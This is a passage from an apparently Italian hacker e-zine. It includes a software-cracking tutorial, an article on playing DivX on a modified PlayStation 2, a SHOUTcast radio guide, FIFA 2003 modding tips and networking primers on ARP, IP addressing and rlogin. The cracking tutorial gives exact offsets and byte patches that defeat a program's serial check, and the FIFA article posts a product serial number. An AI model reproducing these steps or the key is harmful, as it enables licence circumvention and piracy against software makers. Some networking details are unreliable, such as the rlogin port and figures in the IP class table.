trovate nella cartella dove avete installato il programma precedentemente...). Aspettiamo ke W32Dasm apra il file e ci troveremo davanti ad una serie di lettere e numeri ke oramai dovreste capire anke solo marginalmente...bene,ora clicchiamo sul pulsante Str Ref presente in alto a destra dello skermo: una finestra farà capolino (WOW! :). Ora dobbiamo trovare una frase o un nome ke ci dica + o -: hey, hai sbagliato il serial number :) Alcuni aprono prima il programma, mettono un serial a caso e vedono cosa gli dice il prog, dopo di ke vanno in W32Dasm e cercano quella stessa frase proprio nella finestra dove siamo noi...a voi la scelta...Cmq sia, verremo attratti da una scritta ke dice + o - così: INFORM_RegistrationCodeInvalid. Non ci rimane ke cliccarci due volte sopra, rimpicciolire o kiudere la finestrella dello Str Ref e guardare dove ci ha posizionato il programma...Ora, una buona regola per crackare è quella di guardare cio ke ci si presenta poco prima di quella stringa e poco dopo (almeno in linea generale). Non c'è cmq una regola ke valga per tutto ovviamente, c'è solo l'esperienza ke ci puo dare una mano. Ora, salendo un po, vedrete qualcosa così: *Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00424CB0(C) | :00424CBD 50 push eax :00424CBE 8BCE mov ecx,esi :00424CC0 E86BF4FFFF call 00424130 *Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00424CBB(U) | :00424CC5 3BC3 cmp eax,ebx :00424CC7 751D jne 00424CE6 Un'altra cosa da imparare è ke *GENERALMENTE* il codice assembler ke controlla un serial è strutturato + o - come sopra... troviamo dei PUSH, MOV, TEST, CMP, CALL, uno o + JUMP (condizionati o meno). Quindi vi consiglio di riconescere subito queste parti di programma, così potrete salvare un bel po di tempo. Come dicevo nel commento delle righe di programma poco sopra, fate molta attenzione al JNE (cioe Jump if Not Equal, come gia dovreste sapere significa, in questo caso: controlla il serial messo dall'utente e quello giusto e se sono diversi, allora vai alla skermata d'errore...). Quello ke faremo noi sara semplicemente dire al programma: qualunque serial mette l'utente, tu vai avanti come se fosse quello giusto.Sagace no?:) Ok, a parole sembra facile. E anke in pratica vi dico io ;). Se ci sono riuscito io ke sono un niubbo completo, voi vorreste non riuscirci? Bene, ora vi spiego come si fa. Dovete prima di tutto sapere quello ke volete fare prima di mettervi lì a modificare le righe di programma, altrimenti non serve a nulla. Noi sappiamo ke possiamo cambiare quel JNE in cio ke + ci piace, ma cio deve essere funzionale a quello ke vogliamo fare: quindi pensiamo e decidiamo di provare a mettere semplicemente un JE al posto del JNE così tutto si dovrebbe risolvere. Allora proviamoci! Nel cracking bisogna sempre avere una fortuna ben miscelata con intuito per proseguire...quindi, anke quando ci sembra ke qualcosa non serva a niente ci possiamo provare lo stesso. Voi vi kiederete, come faccio a modificare delle righe di programma? beh, e io vi rispondo: a cosa pensate ke serva l'Hiew? :) L'Hiew è un programma ke funziona sotto dos, quindi scordatevi il mouse (ke cmq non servirebbe lo stesso a molto, essendo il programmo molto ben fatto). Cosa aspettate? Apriamo l'Hiew e accediamo alla copia di iMix.exe ke dovremmo aver fatto precedentemente ma ke possiamo fare anke ora cmq. Vi consiglio di mettere il file iMix.exe e l'Hiew in una stessa cartella o sul desktop, così dovrete fare meno ricerche all'interno dell'Hiew per aprire i file eseguibili di qualsiasi prog. Dopo questo appunto ci troveremo davanti a qualcosa di abnorme, ma non disperate! Premete F4 e scegliete Decode e vi ritroverete davanti al + umano assembler. Ora vi kiederete, come faccio a trovare la stringa di prima dove devo apportare le modifiche? No problem, andate nel W32Dasm (ke non dovete kiudere ;) e mettete quella "riga blu" sul JNE e vedete ke diventera verde: ora guardate in basso a destra dove c'è scritto @Offset 00024CC7h . Ecco, tenete a mente tutti i numeri ke ci sono a parte gli zeri iniziali e l'h finale, ke sta ad indicare ke il numero è espresso in forma esadecimale. Ora ritornate nell'Hiew e premete F5, scrivete quindi 24CC7 e premete Invio. MAGIA! Eccovi alla riga dove eravate prima nel W32Dasm! :) Non vi rimane quindi ke modificare la riga. A questo proposito dovete sapere (se gia non lo sapete cmq) ke per modificare quel JNE in un JE dovete cambiare i primi due numeri ke ci sono nella riga 751D perke sono quelli ke fanno in modo di cambiare il nostro jump. Quindi vi serve sapere per adesso ke cambiando quei due numeri in 74 otterrete un JE. Allora facciamolo: premiamo F3 e scriviamo ciò ke desideriamo e otterremo cio ke vi serve. Per salvare le modifiche ke abbiamo fatto premiamo F9 e per uscire usiamo F10. Non ci rimane ke provare a vedere se cio ke abbiamo fatto ha avuto successo o meno, quindi spostiamo il file ke abbiamo modificato nella cartella dove abbiamo installato Acoustica (se non ci fosse gia) e apriamo il programma incrociando le dita. Mettiamo come serial cio ke più ci piace (io ho l'abitudine di mettere 666 :) e gioiamo nel vedere il programma ke ci registra anke con un serial completamente sbagliato! Beh, direi ke per questa volta è finita...Ke faticaccia! :) ALLA PROXIMA! Tutorial fatto da Macro SiX³ con la collaborazione di KoRnuto, tutti i diritti riservati. NB: Questo crack è stato provato su winxp, ma ho potuto constatare spiacevolmente che su winme potrebbe non funzionare... Cmq sia, a me funziona e anke a molti altri, spero anke a voi :) Tutorial scritto nell'estate 2003. MACRO SIX³ -------------------------------------------------------------------------------- -e-zine------------n.01--- ________ __________ /_______/| /_________/| | | | | | | | ____|/ |___ __|/ | | |__ | | | | |/___/| | | | | | | | | | |______|/ |__|/ CYBERDUDE TUTORIAL ---------informazionelibera- TITOLO >>> DIVX SUL PLAY STATION 2? WHAT'S THE PROBLEM? AUTORE >>> CYBERDUDE Rieccoci ancora in questa e-zine con un nuovissimo articolo fresco fresco! Dunque ragazzi diciamo che ormai il DVD è stato crakkato in tutti i modi e ovunque si trovano cd DivX o ancora peggio VCD (Video CD)! Se non mi sbaglio però ancora nessuno ha spiegato come sia possibile vedere i nostri DivX sul Play Station 2 … e allora che siamo tanto fessi che l'abbiamo comprato solo per vedere DVD originali? E ci costerebbe un capitale avere una raccolta di film!! Non vi preoccupate Cyberdude è qui per spiegarvi come fare a vedere i DivX sul play station 2 :P. Dunque bisogna precisare che però la Play station 2 che da ora in poi chiameremo PS2 per comodità debba esser modificata perché la versione Giapponese non consente appezzottamenti (come diremmo a Napoli) cioè non consente falsi d'autore ;p. Per creare i nostri cd ci occorrono 2 principali programmi … - PS2 Reality il programma per vedere i Divx, scaricabile dal sito: http://www.ps2reality.net - CDMAGE programma per correggere gli ECC, scaricabile da: http://ftp.uevora.pt/pub/Mirrors/CDmage/CDmage1-01-5.exe Dunque una volta scaricati i due programmi apriamo il primo e proseguiamo alla Creazione dell'immagine del CDPlayer "PS2Reality mediaplayer" … è semplice non preoccupatevi, fate così : - Scompattare il file Ps2 reality in una cartella; - Lanciare il programma cdgenPS2.exe. Si trova all'interno della cartella appena creata, nella directory utils, - Trascinare nella finestra i tre file (MPLAYER.ELF,SYTEM.CNF e CDVD.IRX) sono nella root principale della cartella di ps2reality - Cliccare su IMG indicare il percorso dove salvare l'immagine del Cd (che poi verrà masterizzato). Verranno creati due file image.bin e image.cue. Adesso a seconda del vostro masterizzatore, i seguenti passaggi possono essere utili o inutili; dipende se il vostro masterizzatore supporta la modalità di controllo dell'errore… quindi io consiglierei comunque di fare tutti i passaggi senza tralasciare niente. - Lanciare il file CDImage.exe file -> open -> e selezionare il file image.cue - Clic su Action -> Scan for Corruption -> Scan -> OK - Clic su Action -> Repair corrupted sectors (scegliere Yes) ->OK - Clic su Action -> Rebuild sectors fields (Yes) -> OK Ecco fatto … adesso siamo ok… possiamo proseguire… andiamo adesso a masterizzare l'immagine del CD… Lanciare il programma di masterizzione (ad es. Nero o Cdrwin) con Nero: File -> Scrivi Immagine -> selezionare il file image.cue -> impostare una bassa velocittà di scrittura (pref. 4x) ->Metodo di Scrittura: Disc at Once -> Scrivi. Fatto questo siamo pronti per lanciare il film nel PS2… Inserite il cd nella PS2 (fare lo swap se è necessario per la vostra modifica) e caricate il cd programma; a questo punto premete start, inserite il cd col film (o gli mp3) e premete X (si accederà al browser), selezionate il file avi e premere ancora X Facile vero? Ma potrebbe verificarsi il caso che il player non funzioni ancora… come facciamo? Semplice, bisognerà masterizzare un nuovo disco, questa volta nella finestra del programma CDGENPS2 tasto destro sul file SYSTEM.CNF … clic su edit >> inserire un segno di spunta su Fix LBA à e nella casellina LBA inserire 12231… se invece il problema non riguarda il player ma invece il video AVI allora basterà rimasterizzare il file avi, utilizzando il programma CDGENPS2 seguendo la stessa procedura indicata per il player. Nota bene… Per poter avere su un unico cd il player e il filmato avi, è sufficiente trascinare anche il file .avi nella stessa cartella del programma CDGENPS2 anche se non so se consigliarvelo o meno… poi dovreste fare questo per ogni CD invece creandovi il cd player quello vale per tutti !! Vabbè vedete voi penso di avervi detto tutto o quasi… approposito, c'è un bug del lettore Ps2 Reality che crea problemi con i file avi codificati con xvid. Il problema si può risolvere con il programma 4CC changer che permette di modificare il tag di riconoscimento del file avi ("4CC used codec"). Avviato il programma e selezionato il file nel campo 4CC sostituire la stringa XVID in DX50 e masterizzare di nuovo il film. Detto questo io ho concluso!! Ciao, al prossimo articolo CYBERDUDE _________________________________________________________________________________ -e-zine------------n.01--- ________ __________ /_______/| /_________/| | | | | | | | ____|/ |___ __|/ | | |__ | | | | |/___/| | | | | | | | | | |______|/ |__|/ CYBERDUDE TUTORIAL ---------informazionelibera- … e così divenne radio emittente Salve amici miei lettori… qui è cyberdude che vi parla, scommetto che molti di voi sono stati attratti dal titolo di questo articolo tanto che mi sembra quasi ridicolo introdurre all'argomento… comunque spiego meglio per i più duri di comprendonio hihihihi … non offendetevi io sono così scherzo sempre sono un po' fesso :p Dunque quanti di voi hanno sempre sognato di far ascoltare la propria musica a tutto il popolo della rete? da oggi chiunque possieda doti musicali e la voglia di trasmetterle al mondo intero, potrà farlo, come ? ve lo spiego io in questo piccolo articolo !! Dunque la prima cosa da fare è scaricare alcuni eseguibili 1. WinAmp 2.71 che prelevate a questo indirizzo : http://download.nullsoft.com/winamp/client/winamp271_full.exe 2. il plug-in DSP SHOUTcast Source 3. il SHOUTcast Server Tool 4. Null Output plugin (NOP 0.1.exe) Gli ultimi 3 li trovate sul sito www.informazionelibera.cjb.net nella sezione programmi e utilità Detto questo proporrei di proseguire! ;) La prima cosa da farsi è installare lo Shoutcast Source Plug-In Il file si installa automaticamente, quindi ci basterà indicare la cartella di destinazione, che dovrà essere preferibilmente quella dove risiede WinAmp (o un player compatibile con SHOUTcast). Lanciamo quindi quest'ultimo e premiamo i tasti Ctrl+P per accedere alle Preferences che dovremo andare a modificare, alla voce Plug-Ins indichiamo la cartella dove è installato lo SHOUTcast source (sotto DSP/Effect Plug-In Directory), che quindi dovrebbe essere ora selezionabile sotto la voce DSP/Effects (dal menu ad albero di sinistra). Una volta selezionato comparirà la icona nella task-bar dove andremo ad eseguire un doppio clic… tutto chiaro? Spero di si se non è chiaro rileggete e fate passo passo tutti i passaggi!! Ok? A questo punto dovremo dare un indirizzo alla nostra radio !! Nella prima riga (server) selezioniamo il comando Edit. Nel box che comparirà inseriremo un indirizzo IP (ad esempio 127.0.0.1), comprensivo del numero di porta (8000). La password di default è changeme. Consigliamo di barrare la check box relativa a list on SHOUcast.com (per rendere pubblica la radio).Se possiamo proseguire adesso, dopo aver chiuso il plug-in facciamo suonare in loop un brano a WinAmp, in modo da avere un flusso di dati da inviare fin da subito. A questo punto installiamo il server cliccando sul rispettivo file (che si trova in shoutcast-1-8-0-windows.exe) scegliamo la versione GUI (Graphic User Interface) e la cartella di destinazione ed il gioco è fatto! Mi state seguendo? Lanciamo ora il programma server (ovviamente sei già connesso ad Internet vero?). Se tutto sarà andato per il verso giusto saremo pronti a far iniziare il programma! Clicchiamo sull'icona della task-bar del SHOUTcast Source e premiamo il pulsante connect. Una serie di messaggi del server ci indicano il buon esito dell'operazione. Siamo in onda! WinAmp sta inviando il brano che abbiamo messo in loop e migliaia di utenti potrebbero ascoltare il nostro programma.Inoltre senza accorgene abbiamo fatto una cosa molto importante alla propagazione della nostra radio sul web… la check box barrata in precedenza ha inserito anche la nostra radio nella lista presente all'indirizzo yp.shoutcast.com che riporta anche tutti i nostri "concorrenti". Basterà inserire nel motore search la stringa win magazine per vedere la barra di status del nostro programma. Clicchiamo sul nome della radio in modo da accedere all'URL del rispettivo IP. Da qui potremo accedere alle sezioni Status (con informazioni varie su Win Magazine Radio), Song History (i brani suonati), Listen (per ascoltare da qui la radio), Stream URL (come Status) e Admin Log (per modificare parametri avanzati).Bello vero? Pubblicità gratuita hihihhi ottimo direi! Vabbè adesso entriamo in Admin Log ed inseriamo come password changeme. In breve avremo un resoconto completo degli ascoltatori eventualmente presenti, delle informazioni approfondite sul server usato (il nostro computer in questo caso) e la possibilità di limitare l'accesso ad alcuni indirizzi (ban list e reserve IP list)… non mi sembra una cosa molti difficile, penso che chiunque da casa sta già lanciando le sue onde radio giusto? :PP … Adesso vi starete chiedendo, come faccio a far ascoltare alla gente la mia musica? Beh non è per niente difficile, tutto quello che dobbiamo fare è andare su yp.shoutcast.com e, in corrispondenza della radio prescelta, premere sull'icona Tune In. Questo ci permetterà di scaricare sul nostro PC un file Playlist (estensione pls). A questo punto l'ascoltatore delle vostra radio non dovrà fare altro che lanciare WinAmp e caricare il file salvato, che contiene l'indirizzo IP ed i parametri relativi alla radio scelta. In pochi secondi la connessione verrà effettuata e nuove onde sonore pervaderanno la il suo PC ;) le vostre onde sonore hihihi. Voi direte si ma io come faccio a far ascoltare la mia voce a tutti i miei ascoltatori? Non preoccupatevi anche queto è molto semplice, per inserire la voce nei nostri programmi dovremo dotarci di un microfono. Per attivarlo dovremo andare in WinAmp e, previa installazione del plug in SHOUTcast Live-Input, premere Ctrl+L; poi inseriremo la stringa liverec:// e saremo pronti a farci ascoltare! Adesso alcuni di voi diranno che preferiscono non ascoltare se stessi mentre sono in onda… non preoccupatevi non dovete spegnere le casse, basta installare Null Output plugin! Grazie ad esso (dovremo scompattare l'apposito file nella solita cartella plugin) trasmetteremo i nostri brani senza ascoltarli, in modo da poter utilizzare anche computer sprovvisti di scheda sonora. Per usarlo basta andare su WinAmp, premere Ctrl+P e selezionarlo tra i plugins presenti in output… ragazzi in realtà si potrebbero fare anche altre cose, ma dov'è il bello di imparare? Di scoprire? Su buttatevi alla scoperta e vedete quanti altri servizi potete sfruttare con questo WinAmp… ciao a tutti CYBERDUDE -------------------------------------------------------------------------------- -e-zine------------n.01--- ________ __________ /_______/| /_________/| | | | | | | | ____|/ |___ __|/ | | |__ | | | | |/___/| | | | | | | | | | |______|/ |__|/ CYBERDUDE TUTORIAL ---------informazionelibera- Ho deciso che fifa non mi piace così com'è, lo rifaccio da capo eppure non sono ne un designer ne un programmatore ;) Ciao ragazzi… qui è cyberdude che vi parla, dunque vorrei dedicare questo articolo unicamente agli amanti del gioco del calcio, specie se lo giocano sul PC (come nel caso dell'articolo) e soprattutto se giocano a Fifa 2003 … vabbè dopo questa breve stronzata di presentazione vorrei passare a spiegarvi un po' lo scopo di questo tutorial! Dunque se non si è ancora capito parleremo di Fifa 2003 e di come rendere questa versione un po' più personale… pensate all'idea di inserire nel gioco la vostra squadre del paese, con i vostri stemmi, le vostre magliette e magari di inserirla nella mitica Champions League… pensate per un momento di diventare voi i designer di fifa 2003, cosa combinereste? Beh io voglio svelarvi un segreto: il modo esiste e noi adesso andremo insieme a studiarcelo. Non vi preoccupate non dovete necessariamente conoscere linguaggi di programmazione, ne tanto meno dovete avere grandi qualità grafiche, l'importante è che conosciate l'italiano, cerchiate di capire quattro stronzatelle spagnole e abbiate una lontanissima infarinatura di inglese… vabbè ragazzi non vi spaventate, è na strunzat! Allora… direi di darci dentro e di iniziare. In pratica tutto quello che dovete fare è collegarvi al nostro sito www.informazionelibera.cjb.net andare nella sezione programmi e utilità e scaricare i seguenti programmi : - cambia squadre.exe ……………………………………………Il programma serve a modificare nome delle squadre a inserire giocatori nuovi e modificarne alcuni dandogli naturalmente caratteristiche sia fisiche che caratteriali è in spagnolo ma si capisce benissimo e ve lo consiglio, l'unico difetto è forse il fatto che è grande 4,71MB anche se non lo definirei un grande impedimento!! - squadrechampionsleague.exe ………………………In pratica è questa la utilità che vi consente di inserire le vostra squadra tra nella più prestigiosa competizione del calcio : La Champions League magari vi mettete al posto del real o del Manchester ;) 265KB - modificatesto.zip …………………………………………………Con questo piccolo applicativo andiamo a modificare il file log in italiano del gioco, magari per personalizzare scritte come fuorigioco o altre, pensate se le metteste nel vostro dialetto, create una versione di fifa strettamente personale 14KB - caratteristichegioco.zip …………………………………Questo vi consiglio di scaricarlo perché vi permette di settare cose che nel gioco si vedono raramente, inoltre sono inseriti altri stadi quindi è un bel applicativo 190KB - crearefaccie.exe …………………………………………………………Con questo programma addirittura tramite un file Bmp di una vostra foto potete mettere la vostra testa nel gioco, sapete che figata vedervi esultare dopo un gol in Fifa 2003 ?? 2,47MB - completini.exe …………………………………………………………………Devo spiegarvelo? Serve per esportare dal gioco i completini delle squadre, sia primo, secondo che terzo, poi con il Paint o con quello che volete li modificate a costro piacimento, magari ci mettete il vostro cognome come sponsor e li rimettete dentro bello vero? 1,03MB - pubblicità.exe ……………………………………………………………………Quest'altro piccolo applicativo serve a modificare i tabelloni pubblicitari, divertitevi voi a mettere gli sponsor che volete a bordo campo ;) 362KB - telecamere.exe ………………………………………………………………………Divertitevi a modificare a vostro piacimento le posizioni delle videocamere, inventatevi angolazioni vostre 260KB - Fontpatch.zip ……………………………………………………………………………Per rendere il gioco più realistico questa patch attribuisce i vari font (caratteri di testo) alle squadre, naturalmente ciò non toglie che voi possiate usare font personalizzati, dovete solo sostituire quelli riportati nella patch con i vostri 280KB Approposito siete pronti per gli Europei 2004? Beh peccato che su Fifa 2003 non ci siano, che ne pensate di inserirli gia belli e pronti con tutte le squadre con le rose aggiornate? Ecco il gruppo 9 di cui fa parte l'itali scaricalo all'indirizzo http://66.117.1.114/dl_auth/ahgj23as92/soccergaming/sgfiles/sweetpatch/Kits/Eur o2004/Group9.zip Oppure vi interessa di più scaricarvi il girone dei mondiali Francia'98 con le squadre : - Cile - Inghilterra - Italia - Giappone - Paraguay - Scozia - Spagna - Tunisia È disponibile anche questo all'indirizzo http://66.117.1.114/dl_auth/ahgj23as92/soccergaming/sgfiles/sweetpatch/Patches/ CKP2003/CKP2.zip Ps altre curiosità per chi sta ancora per istallare il gioco ;) … SERIAL NUMBER FIFA2003 [3133-7313-3731-3KGH] Ragazzi io vi ho presentato questi applicativi ma in rete ce ne sono tantissimi, se vi mettete alla ricerca ne trovate tanti altri ;) quindi che aspettate? Volete fare un fifa 2003 versione vostra? Mettetevi a lavoro e usate la fantasia, e buon divertimento … aropp, quando avete finito, vendetevi il prodotto e facitv un po' di soldi, wagliù sto scherzando naturalmente, spero che voi tutti sappiate che è illegale!!! Io spero di essere stato utile a qualche cosa o almeno di aver interessato qualcuno ciao a tutti … alla prossima CYBERDUDE --------------------------------------------------------------------------------+ ________________________________________________________________________________ ADDress Resolution Protocol (ARP) ______________________________________________SegFault__________________________ Premessa: con questa guida non indendo insegnare niente a nessuno ma bensì per il semplice motivo di far schiarire le idee a qualche NEWBIE meno asperto +-------+ | Intro | +-------+ Per far si che due host comunichino con successo su un segmento di rete, devono risolvere gli indirizzi hardware l'uno dell'altro. Questa funzione ha luogo in TCP/IP tramite l'ARP.Quest'ultimo risolve un indirizzo IP di un host destinatario in un indirizzo MAC.Inoltre si assicura che l'host di destinazione sia in grado di risolvere l'indirizzo IP del mittente in un indirizzo MAC.Capita frequentemente su una rete che un computer client comunichi con un server centrale. Invece di richiedere ogni volta l'indirizzo MAC del server, il Protocollo ARP si serve della cache ARPche tiene in archivio un elenco di indirizzi IP risolti di recente in indirizzi MAC. Se l'indirizzo Mac dell'indirizzo IP di destinazione si trova già nella cache ARP non occore + richiederlo.Nella cache ARP occorre rispettare le seguenti Regole: - Ciascuna nuova voce è configurata con un valore di tempo di vita(Time-to-live (TTL)).Il valore reale dopende dall' OS utilizzato(solitamente 2 min) quando il tempo di vita arriva a 0 la voce viene rimossa dalla cache ARP. - In alcune implementazioni TCP/ip il valore del tempo di vita è reimpostato sul suo valore iniziale ognivolta che si riutilizza una voce della cache ARP. - Ciascuna implementazione di TCP/IP stabilisce un numero massimo di voci per la cache ARP. Se questa è piena e si deve aggiungere una nuova voce,elimina la voce + vecchia per fare spazio a quella nuova +----------------------+ | Utilizzo comando ARP | +----------------------+ Ogni implementazione TCP/IP fornisce un comando ARP per visualizzarne e modificarne la cache ARP. IN winshit NT il comando ARP può servire per tre scopi: visualizzarne la cache ARP, aggiungere una voce statica alla CACHEARP e rimuovere una voce dalla cache ARP.Per visualizzare la cache ARP si può utilizzare il seguente comando: ARP -a [INdirizzo IP] questo comando visualizza tutte le voci presenti al momento nella cache ARP, in modo che appaiano solo gli indirizzi fisici per l'indirizzo IP specificato.è il caso di utilizzarlo quando si cerca di determinare l'indirizzo MAC per un singolo IP e ci sono parecchie voci nella cache ARP.Sempre in WinShit NT si può utilizzare anche il comando ARP -g con gli stessi risultati.Per aggiungere una voce statica alla cache ARP si deve utilizzare questo comando: ARP -s "indirizzo IP" "indirizzo FISICO(indirizzo MAC)" Bisogna notare che l'indirizzo MAC utilizza un trattino(-) per separare ogni coppia di caratteri esadecimali, in genere non si consiglia di aggiungere alla cache indirizzi fisici infatti supponiamo il caso che una scheda di rete debba guastarsi e venisse sostituita non si riuscirebbe + a comunicare perchè si disporrebbe dell indirizzo MAC sbagliato. +----------------------------------------------------------------------+ | Piccola parentesi: Le voci ARP statiche non sono poi così "statiche" | +----------------------------------------------------------------------+ +----------------------------------------------------------------------------+ Le voci ARP statiche rimangono nella cache ARP solo fino a quando l'host non viene riavviato.Infatti quando ciò accade la cache viene resettata e le voci statiche non vengono create di nuovo infatti se si vogliono creare voci realmente statiche occorre creare un file di comando da lanciare all'avvio di windows. +-----------------------------------------------------------------------------+ Se si vuole rimuovere dalla cache ARP una voce scorretta bisogna usare il seguente comando: ARP -d [indirizzo IP] FIne dell'ARTICOLO Vorrei solo dire che i miei articoli sono sempre molto corti perchè odio scrivere tutorial e le mie conoscenze sono molto limitate rispetto a quelle di molti altri user...spero solo che sia servito a qualcuno per schiarisi le idee :) SegFault -------------------------------------------------------------------------------- STRUTTURA DELL'INDIRIZZO IP --------------------------------------------------SegFault--------------------- Nota: i termini Indirizzo Multicast e MSB sono spiegati alla fine. Tutte le stazioni su un PSN (Packet Switched Network) che sono basate sul protocollo TCP/IP (il tuo computer è uno, per esempio. Si, ci stiamo riferendo agli host connessi sulla rete) devono avere un indirizzo IP, cosi possono essere identificate, e le informazioni possono essere ritrasmesse e instradate in modo ordinato. Un indirizzo IP consiste in un indirizzo a 32bit logici. L'indirizzo è diviso e consiste in 2 campi: 1) L'indirizzo di rete: Assegnato dall' InterNIC (Internet Network Information Center). In fatti molti ISPs (Internet Service Providers) acquistano un numero di indirizzi che poi successivamente assegnano individualmente. 2) L'host address: Un indirizzo che identifica i singoli nodi dappertutto nella rete. Esso può essere assegnato dal network manager, usando protocolli come DHCP,o usando la workstation stessa. Il protocollo IP networking è logicamente un instradatore del protocollo, significa che l'indirizzo 192.43.54.2 sarà sullo stesso conduttore dell'indirizzo 192.43.54.3 (naturalmente questo non è sempre vero. Esso dipende dalla subnet mask della rete). struttura dell'indirizzo IP: ---.---.---.--- ^ ^ | | network | host Tutti " --- " = 8 bits. I primi bits ===> indirizzo network Gli ultimi bits ===> indirizzo host. con 8 bits tu puoi rappresentarli da 0-255 . (binario=(2 elevato alla 8)-1) Esempio: 11000010.01011010.00011111.01001010 (binario) 194.90.31.74 (decimale) CLASSI indirizzi IP : Possiamo classificare gli indirizzi ip in 5 gruppi. Tu puoi distinguerli confrontando "L'ALTO ORDINE" dei bits (i primi quattro bits sulla sinistra dell'indirizzo): type | model | target | MSB |addr.range |bit number| max.stations| | | groups | | |net./hosts| | ------|--------|--------|-----|--------------|----------|-------------| |N.h.h.h | ALL | 0 | 1.0.0.0 | 24/7 | 16,777,214 | A | | ACCEPT | | to | | | | | HUGE | | 127.0.0.0 | | | | | CORPS | | | | | ----------------------------------------------------------------------- |N.N.h.h | TO ALL | 10 | 128.1.00 | 16/14 | 65,543 | B | | LARGE | | to | | | | | CORPS | | 191.254.00 | | | ----------------------------------------------------------------------- |N.N.N.h |TO ALOT | 110 | 192.0.1.0 | 8/22 | 254 | C | |OF | | to | | | | |SMALL | | 223.225.254 | | | | |CORPS | | | | | ----------------------------------------------------------------------- | NONE |MULTI-CA|1110 | 224.0.0.0 | NOT FOR | UNKNOWN | D | |ST ADDR.| | to | USUAL | | | |RFC-1112| |239.255.255.255| USE | | ----------------------------------------------------------------------- | NOT FOR|EXPERIME|1,1,1,1| 240.0.0.0 |NOT FOR| NOT FOR USE| E | USE |NTAL | | to |USE | | | |ADDR. | |254.255.255.255| | | ----------------------------------------------------------------------- N=NETWORK , h=HOST . Notate il campo di indirizzi 127.X.X.X. Questi indirizzi sono assegnati per un uso interno al network device, e sono usati solamente come applicazioni strumentali. - Per esempio: 127.0.0.1, il più comune, è chiamato indirizzo di loopback - tuttoquanto è spedito qui, torna direttamente indietro a te, senza viaggiare fuori dal collegamento. Inoltre, certi IP sono riservati per VPNs - Virtual Private Networks. Queste sono LAN (Local Area Networks) al di sopra del collegamento della zona dei Networks che usano l'i Internet Protocol per comunicare, e ciascun computer interno al network è riconosciuto grazie a un indirizzo IP. Così, supponiamo che un computer voglia mandare dei data packet ad un'altro host sul network con un IP 'x', ma c'è anche un'altro host su Internet che ha lo stesso IP - cosa succede ora? Questo è il motivo per cui non puoi usare queste e altre classi di IP riservati su Internet. EXTRA: Distinguiamo i gruppi differenti: Tu hai da comparare il primo byte sulla sinistra dell'indirizzo come segue: Type | First byte | MSB | in decimal | ---------------------------- A | 1-127 | 0 ---------------------------- B | 128-191 | 10 ---------------------------- C | 192-223 | 110 ---------------------------- D | 224-239 | 1110 ---------------------------- E | 240-254 | 1111 ---------------------------- NOTE: Si, lo sappiamo, abbiamo tralasciato di spiegare molte cose in questa guida. Col tempo, noi scriveremo più tutorial per spiegare questo ed altri soggetti. Cosi nel frattempo, io vi suggerisco di andare su http://blacksun.box.sk, trovare le pagine dei tutorial e vedere se c'è qualcos'altro che potrebbe interessarvi. E ricordate: - noi abbiamo anche una message board (pannello di messaggi), cosi se voi avete domande da fare, sarete liberi di postarle li. magica merda (note per i newbie): 1) Multicast: (copiato dall' RFC 1112) L' IP multicasting è la trasmissione di un datagramma IP ad un "gruppo di host", una serie di 0 o più hosts identificati da un singolo indirizzo IP di destinazione. Un datagramma multicast è distribuito a tutti i membri della sua destinazione di gruppo di host con lo stessa best-efforts sicurezza come un regolare datagramma IP unicast, i.e., non è garantito che il datagramma arrivi intatto a tutti i membri del gruppo di destinazione o nello stesso ordine relativo agli altri datagrammi. L'appartenenza a un gruppo di host è dinamica; l'host può entrare ed uscire dal gruppo in ogni momento. Nono ci sono restrizioni per il numero locale di membri in un gruppo di host. Un host può essere un membro di più di un gruppo nello stesso tempo. Un host non deve necessariamente essere membro di un gruppo per poter mandare datagrammi ad esso. Un gruppo di host può essere permanente o transitorio. Un gruppo permanente ha un well-known, amministrativamente assegnato ad un indirizzo IP. Esso è l'indirizzo dell'appartenenza al gruppo, che è permanente; in ogni momento un gruppo permanente può avere un qualsiasi numero di membri, anche zero. Quelli indirizzi di IP multicast che non sono riservati per i gruppi permanenti sono disponibili per gli assegnamenti dinamici per i gruppi transitori che esistono tanto a lungo quanti sono i membri. L'Internetwork forwarding dei datagrammi(pacchetti ip) degli IP multicast è curato dai "multicast routers" che potrebbero essere co-residenti con, o separati dagli internet gateways. Un host invia un datagramma IP multicast come un local network multicast che raggiunge tutti i membri immediatamente vicini del gruppo di host di destinazione. Se il datagramma ha un IP time-to-live più grande di 1, il multicast router(s) assegna al local network la responsabilità per il forwarding (instradamento) in direzione di tutti gli altri networks che hanno membri dei gruppi di destinazione. Sugli altri networks membri che sono raggiungibili interamente dal IP time-to-live, un multicast router aggregato completa la distribuzione della trasmissione del datagramma (pacchetto ip) come un local multicast. *se non capisci non preoccuparti, è complicato ma leggendolo e rileggendolo di nuovo, e magari prendendo un dizionario in mano per aiutarti, non ti sarà difficile capirlo. L'Hacking non è facile. 2) MSB: Most Significent Bit: Nel gruppo numerico il primo numero sulla sinistra è il più importante perchè esso tiene il più alto valore come opposto all' LSB=> least significent bit, esso tiene sempre il valore più piccolo. Altre informazioni possono essere acquisite dal "number systems tutorial" all'url http://blacksun.box.sk ------------------------------------------------------------------------------- - © SegFault TUTTI I DIRITTI RISERVATI loOol -|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|- -------------------------------------------------------------------------------- rlogin (remote login) ----------------------------------------------------------SegFault------------- Il comando rlogin permette a un utente di effettuare il log a distanza con un altro sistema in rete.L'host accetta il login esegue il daemon rlogind per permettere questa conessione.Il comando rlogin connette tramite la porta TCP 23. Una volta stabilita la connessione il client invia le seguenti 3 stringhe termiate con il carattere "NULL" - stringa vuota per iniziare la sessione - client-User-Name il nome usato dal client come client host - Server-User-name il nome utente usato sul server remoto. In genere è uguale a CLIENT-USER-NAME ma può essere anche differemte - TERMINAL-TYPE/SPEED quest'ultima stringa finale contiene il nome e la velocità di trasmissione del terminale dell'utente remoto. Un esempio di come potrebbe avvenire questa sequenza di inizializzazione è il seguente: TOPOLINO MINNI VT100/14400 il server restituisce un byte zero per indicare che ha ricevuto le tre stringhe e che è pronto al trasferimento dei dati.(3 stringhe escluso il iniziale La sintassi del comando rlogin è la seguente.. (ma quante volte ho già detto "è la seguente"?) rlogin rhost [ -ec ] [ -8 ] [ -L ] [ -l nomeutente ] dove rhost è il nome dell'host remoto a cui ci si vuole connettere [ -ec ] abilita l'utente a definire un carattere Escape alternativo. Per default si usa la tilde (~) [ -8 